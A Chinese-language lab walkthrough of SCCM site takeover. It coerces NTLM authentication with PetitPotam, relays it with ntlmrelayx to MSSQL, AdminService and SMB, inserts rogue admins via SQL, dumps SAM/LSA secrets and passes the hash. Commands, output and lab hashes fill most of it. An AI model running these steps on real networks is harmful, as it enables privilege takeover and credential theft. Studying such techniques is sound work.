SCCM站点接管

1. MSSQL站点接管

1.1. 原理

当主 MSSQL 数据库安装在非主服务器的其他服务器上时,为使基础设施正常运行,主服务器机器账户必须是站点数据库服务器本地管理员组的成员,我们可以将主服务器的NTLM身份验证中继到数据库服务器的SMB或者Mssql服务来获取到站点数据库的管理员权限

这里可以通过之前的DDR enrollment requests来强制NTLM认证并尝试中继到其他机器账户,此外也可以使用一些传统的强制认证方式,如PrinterBugPetiPotamSpoolSample等方式

  • 中继到SMB服务:可以获取到数据库服务器上的管理员命令执行权限
  • 中继到MSSQL服务:可以通过向数据库写入数据,添加可控的用户到SCCM管理员中来获取对站点的完全访问权限。

1.2. NTLM中继到MSSQL服务

下图为目标SCCM基础设施架构
Pasted image 20260318174646.png

1.2.1. 内网隧道搭建

这里使用ligolo-ng来进行隧道的搭建,因为此前已进行过多次实操,过程就不再过多赘述

1.2.2. 开启ntlmrelayx

使用ntlmrelayx设置好我们需要中继的目标

ntlmrelayx.py -t "mssql://172.50.0.30" -smb2support -socks

1.2.3. 触发强制认证

我们利用PetiPotam来强制SCCM01$向我们(10.10.14.207)发起NTLM身份认证,这里也可以用DDR enrollment requests的方式来进行触发

PetitPotam.py -u BlWasp -p 'Password123!' -d 'lab.local' 10.10.14.207 172.50.0.21
 ___            _        _      _        ___            _                     
 | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
 |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
 _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
 _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
 "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
                                         
 PoC to elicit machine account authentication via some MS-EFSRPC functions
 by topotam (@topotam77)
      
 Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc
[-] Connecting to ncacn_np:172.50.0.21[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!                                                 
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

当我们收到了来自SCCM01$的认证后,我们的ntlmrelayx会将其中继到172.50.0.30( SQL.LAB.LOCAL )

ntlmrelayx.py -t "mssql://172.50.0.30" -smb2support -socks
Impacket v0.11.0 - Copyright 2023 Fortra

...SNIP...

ntlmrelayx> 
[*] SMBD-Thread-20 (process_request_thread): Received connection from 10.129.230.38, attacking target mssql://172.50.0.30
[*] Authenticating against mssql://172.50.0.30 as LAB/SCCM01$ SUCCEED[*] SOCKS: Adding LAB/SCCM01$@172.50.0.30(1433) to active SOCKS connection. Enjoy
[*] SMBD-Thread-21 (process_request_thread): Connection from 10.129.230.38 controlled, but there are no more targets left!

1.2.4. 利用socks通道连接Mssql

proxychains中配置好我们的socks代理,然后利用mssqlclient连接目标MSSQL服务,并指定-no-pass-windows-auth以及我们的认证账户LAB/SCCM01$

proxychains4 -q python3 mssqlclient.py 'LAB/SCCM01$'@172.50.0.30 -windows-auth -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL): Line 1: Changed database context to 'master'.
[*] INFO(SQL): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (LAB\SCCM01$  dbo@master)>

成功连接,且为当前数据库的dbo角色

1.2.5. 修改数据库并添加管理员

然后我们通过修改 RBAC_Admins 和 RBAC_ExtendedPermissions表的内容,来为一个受我们控制的用户添加管理员权限,这里为blwasp

首先枚举以下数据库,并切换到CM_HTB数据库

SQL (LAB\SCCM01$  dbo@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0   

tempdb                   0   

model                    0   

msdb                     1   

CM_HTB                   1   

SQL (LAB\SCCM01$  dbo@master)> use CM_HTB
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: CM_HTB
[*] INFO(SQL): Line 1: Changed database context to 'CM_HTB'.
SQL (LAB\SCCM01$  dbo@CM_HTB)>

然后列出列出表 RBAC_Admins的字段以确定我们需要插入的列

SQL (LAB\SCCM01$  dbo@CM_HTB)> SELECT * FROM RBAC_Admins
 AdminID                                                      AdminSID   LogonName        DisplayName   IsGroup   IsDeleted   CreatedBy        CreatedDate   ModifiedBy       ModifiedDate   SourceSite   DistinguishedName                    AccountType   
--------   -----------------------------------------------------------   --------------   -----------   -------   ---------   --------------   -----------   --------------   ------------   ----------   ----------------------------------   -----------   
16777217   b'0105000000000005150000004b2233992a9592e9d78a99dab9040000'   LAB\sccm_admin   NULL                0           0   LAB\sccm_admin   2024-05-10 10:12:57   LAB\sccm_admin   2024-05-10 10:12:57   HTB          NULL                                        NULL   

16777222   b'0105000000000005150000004b2233992a9592e9d78a99daca040000'   LAB\rai          Rai MC              0           0   LAB\sccm_admin   2024-07-10 11:59:12   LAB\sccm_admin   2024-07-10 11:59:12   HTB          CN=Rai MC,CN=Users,DC=lab,DC=local             0

这里我们需要先获取用户blwaspObjectSID的二进制格式数据。

PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser blwasp -Properties objectsid

objectsid
---------
S-1-5-21-2570265163-3918697770-3667495639-1111

然后使用下面的脚本将SID转换为二进制

PS C:\Tools> function Convert-StringSidToBinary {
 param (
 [Parameter(Mandatory=$true, Position=0)]
 [string]$StringSid
 )

 $sid = New-Object System.Security.Principal.SecurityIdentifier $StringSid
 $binarySid = New-Object byte[] ($sid.BinaryLength)
 $sid.GetBinaryForm($binarySid, 0)
        
 $binarySidHex = ($binarySid | ForEach-Object { $_.ToString("X2") }) -join ''
 echo "0x$($binarySidHex.ToLower())"
}
PS C:\Tools> Convert-StringSidToBinary S-1-5-21-2570265163-3918697770-3667495639-1111
0x0105000000000005150000004b2233992a9592e91111a99da4f040000

然后向 RBAC_Admins 表中插入一个新的管理员

SQL (LAB\SCCM01$  dbo@CM_HTB)> INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x0105000000000005150000004b2233992a9592e91111a99da4f040000,'LAB\blwasp',0,0,'','','','','HTB');

仅在 RBAC_Admins 表里添加名字是不够的,只能证明是管理员,但没有任何权限。必须还要在 RBAC_ExtendedPermissions 表中给自己绑定角色和范围

我们可以先了解一下这个RBAC_ExtendedPermissions 表的内容

SQL (LAB\SCCM01$  dbo@CM_HTB)> select * from RBAC_ExtendedPermissions;
 AdminID   RoleID     ScopeID    ScopeTypeID   
--------   --------   --------   -----------   
16777217   SMS0001R   SMS00001             1   

16777217   SMS0001R   SMS00004             1   

16777217   SMS0001R   SMS00ALL            29

这些是分配给 sccm_admin 账户(对应 AdminID 16777217)的必要角色,这些角色对应于以下范围的“完全管理员”SMS0001R 角色 ID:

  • 所有对象范围:SMS00ALL
  • 所有系统范围:SMS00001
  • 所有用户和用户组范围:SMS00004

我们复制这些角色并将其添加到我们新创建的账户当中

SQL (LAB\SCCM01$  dbo@CM_HTB)> INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777223,'SMS0001R','SMS00ALL','29');
SQL (LAB\SCCM01$  dbo@CM_HTB)> INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777223,'SMS0001R','SMS00001','1');
SQL (LAB\SCCM01$  dbo@CM_HTB)> INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777223,'SMS0001R','SMS00004','1');

1.2.6. 利用sccmhunter继续后续操作

首先需要先 关闭数据库

然后使用sccmhunteradmin模块查询管理员列表,这里必须以 SMS Provider 服务器的 IP 地址为目标,而不是主 SCCM 服务器(SMS Provider 是 SCCM 的一个角色,它充当了 管理控制台 和 站点数据库 之间的桥梁,所有的管理操作(比如查询谁是管理员)都是通过 WMI 调用发送给 SMS Provider 的)

python3 sccmhunter.py admin -u blwasp -p 'Password123!' -ip 172.50.0.40
SCCMHunter v1.0.5 by @garrfoster
[09:00:23] INFO     [!] Enter help for extra shell commands                                                       
() (C:\) >> show_admins
[09:00:34] INFO     Tasked SCCM to list current SMS Admins.                                                       
[09:00:36] INFO     Current Full Admin Users:                                                                     
[09:00:36] INFO     LAB\sccm_admin                                                                                
[09:00:36] INFO     LAB\rai                                                                                       
[09:00:36] INFO     LAB\blwasp

1.3. NTLM中继到SMB服务

上面已经提到:如果我们中继到MSSQL服务,我们可以通过修改数据库的方式来获取SCCM管理员权限;但如果中继到SMB服务,我们甚至连数据库都不用修改,直接就可以获取到管理员的命令执行权限

与数据库攻击类似,主服务器(Primary Server)账户必须是 SMS Admins 组的成员。该组授予了访问 WMI 接口和 AdminService API 的权限。这一 REST API 支持通过标准化的 HTTP 请求与SMS Provider进行交互,并以此延伸到与 MSSQL 数据库的交互,

因此,如果 SMS 提供程序安装在主服务器以外的其他服务器上,且该 API(支持 NTLM 身份验证等)暴露在承载 SMS 提供程序的服务器上,那么就有可能将认证中继到该 API,并利用它通过 SMS_Admin WMI 类(该类已集成到 AdminService API 中)发送请求,从而添加一个新的 SCCM 管理员用户

在主服务器以外的其他服务器:避免自中继防护,因为需要把主服务器的NTLM身份认证中继到SMS Provider
此外,由于 HTTP 服务很少检查 NTLM 签名,这种攻击尤其有效

1.3.1. 开启ntlmrelayx中继

这需要使用 Impacketntlmrelayx,需要引入这个PR (最新版本已经merged)

python3 ntlmrelayx.py -t https://172.50.0.40/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "LAB\dario" --displayname "LAB\dario" --objectsid S-1-5-21-2570265163-3918697770-3667495639-2222
Impacket v0.10.1.dev1+20230802.213755.1cebdf31 - Copyright 2022 Fortra

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
...SNIP...
[*] Servers started, waiting for connections

1.3.2. 强制身份验证

强制主服务器 SCCM01向我们发起身份验证

python3 PetitPotam.py -u BlWasp -p 'Password123!' -d 'lab.local' 10.10.14.207 172.50.0.21
 __
 _            _        _      _        ___            _                     
 | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
 |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
 _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
 _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
 "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
                                         
 PoC to elicit machine account authentication via some MS-EFSRPC functions
 by topotam (@topotam77)
      
 Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc
[-] Connecting to ncacn_np:172.50.0.21[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!                                                 
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

查看ntlmrelayx可以发现已经完成了中继

 python3 ntlmrelayx.py -t https://172.50.0.40/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "LAB\dario" --displayname "LAB\dario" --objectsid S-1-5-21-2570265163-3918697770-3667495639-2222
Impacket v0.10.1.dev1+20230802.213755.1cebdf31 - Copyright 2022 Fortra
...SNIP...

[*] SMBD-Thread-4 (process_request_thread): Received connection from 10.129.230.38, attacking target https://172.50.0.40
[*] Exiting standard auth flow to add SCCM admin...
[*] Authenticating against https://172.50.0.40 as LAB/SCCM01$
[*] Adding administrator via SCCM AdminService...

[*] Server returned code 201, attack successful...SNIP...

1.3.3. 利用sccmhunter完成后续操作

现在可以验证管理员列表了

python3 sccmhunter.py admin -u blwasp -p Password123! -ip 172.50.0.40
SCCMHunter v1.0.3 by @garrfoster
[18:08:41] INFO     [!] Enter help for extra shell commands          
() C:\ >> show_admins
[18:08:46] INFO     Tasked SCCM to list current SMS Admins.          
[18:08:46] INFO     Current Full Admin Users:          
[18:08:46] INFO     LAB\sccm_admin
[18:08:46] INFO     LAB\blwasp
[18:08:46] INFO     LAB\dario

1.4. 被动的NTLM认证

除了以上的强制认证方式,如果存在被动站点服务器,其计算机账户必须是活动站点服务器上本地管理员组的成员。它还必须是该站点中部署的所有 SCCM 系统(包括 MSSQL 数据库)的管理员。在这种场景下,实现从被动服务器到活动服务器 SMB 服务的全新 NTLM 中继攻击是可能的。

1.4.1. 启用ntlmrelayx中继

这里的ntlmrelayx必须配置为目标主服务上的SMB服务,当接收到 NTLM 认证时,就会在主服务器上以管理员权限打开一个 SOCKS 会话

ntlmrelayx.py -t 172.50.0.21 -smb2support -socks 
Impacket v0.11.0 - Copyright 2023 Fortra

...SNIP...

[*] Servers started, waiting for connections

ntlmrelayx>

1.4.2. 等待NTLM身份验证

等待连接,我们可以从 SCCM02 (被动或辅助服务器)强制进行身份验证

python3 PetitPotam.py -u BlWasp -p 'Password123!' -d 'lab.local' 10.10.14.207 172.50.0.22 
     
 ___            _        _      _        ___            _                     
 | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
 |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
 _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
 _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
 "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
                                         
 PoC to elicit machine account authentication via some MS-EFSRPC functions
 by topotam (@topotam77)
      
 Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc
[-] Connecting to ncacn_np:172.50.0.22[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

一旦 PetitPotam 完成,我们应该能在 ntlmrelayx 中看到 SCCM02$ 认证如何用于向 SCCM01 进行身份验证,并且我们已成功建立了一个 socks 会话:

ntlmrelayx.py -t 172.50.0.21 -smb2support -socks 
...SNIP...

[*] SMBD-Thread-14 (process_request_thread): Received connection from 10.129.230.38, attacking target smb://172.50.0.21
[*] Authenticating against smb://172.50.0.21 as LAB/SCCM02$ SUCCEED
[*] SOCKS: Adding LAB/SCCM02$@172.50.0.21(445) to active SOCKS connection. Enjoy[*] SMBD-Thread-15 (process_request_thread): Connection from 10.129.230.38 controlled, but there are no more targets left!

1.4.3. SecretsDump

我们可以通过此会话使用 secretsdump.py 来转储主服务器上的 SAM 和 LSA 数据库
这里需要先配置好proxychains

proxychains4 -q secretsdump.py 'LAB/SCCM02$'@172.50.0.21 -no-pass                    
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry     
[*] Target system bootKey: 0x99bae75d092c3b9d979cf712fb4fcfde                                                                           
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)                                                                                    
Administrator:500:aad3b435b51404eeaad3b435b51404ee:12346acbe6bcfda7294d6bd18041b555:::                                                  
Guest:501:aad3b435b51404eeaad3b435b51404ee:12432e0d16ae931b73c59d7e0c089c0:::                                                          
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:1236cfe0d16ae931b73c59d7e0c089c0:::                                                 
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b16d6873b597bcdc0dc553eac61112ce:::                                             
[*] Dumping cached domain logon information (domain/username:hash)                                                                      
LAB.LOCAL/Administrator:$DCC2$10240#Administrator#22118c0355c1b19322960df4ac180d79: (2024-07-10 01:14:30)                               
LAB.LOCAL/sccm_admin:$DCC2$10240#sccm_admin#55477395bae00b82c381d078c3f9dd4a: (2024-07-11 10:54:32)                                     
[*] Dumping LSA Secrets                                                                                                                 
[*] $MACHINE.ACC                                                                                                                        
LAB\SCCM01$:aes256-cts-hmac-sha1-96:12345b9eb9aeb722594c72e8c107bb2712d03e66046f03eb579d7a9bd4ed2b48
LAB\SCCM01$:aes128-cts-hmac-sha1-96:12324b3f73242fb332631904412441f9       
LAB\SCCM01$:des-cbc-md5:b6b951341a628f32                                                                                                
LAB\SCCM01$:plain_password_hex:123b49014a1a62a083ad328bd6831fa14ef4e1caa4cb64fe25492ce45c6bedefd4395a7d3749e772ef67b5cf2006c123395b0a75b325815a283b4f10ec3163dec687cc0c3f2f86f41bedc3ad4c7ebe469078b4769f296e5eaacd5d4aa8b04979560c270171c2fc2e342e56a73373188587414a5b53f78675e
447b3afcea9abb7dcd65cd88f3f74e62da21577c0d19069850685540cdac35c08e9e70113146f7a9d0d31caadbb5087f0eb420ece4dc65722d95308b46155bd527c01fd0e24676923cf80d660c3cac22190ea442d515ab0b074b02f7ba8139ba5f8799b854a3ec80de5ff4e3b2909a5093556d7a756e447
LAB\SCCM01$:aad3b435b51404eeaad3b435b51404ee:12287584ab4bb4ef1123f0ed2f08ff79:::                       
...SNIP...

1.4.4. pth

然后利用sccmhunter进行PTH

python3 sccmhunter.py admin -u 'SCCM01$' -p aad3b435b51404eeaad3b435b51404ee:12287584ab4bb4ef1123f0ed2f08ff79 -ip 172.50.0.40 
SCCMHunter v1.0.5 by @garrfoster
[10:10:29] INFO     [!] Enter help for extra shell commands                                                
() C:\ >> show_admins
[10:10:33] INFO     Tasked SCCM to list current SMS Admins.                                                
[10:10:34] INFO     Current Full Admin Users:                                                              
[10:10:34] INFO     LAB\sccm_admin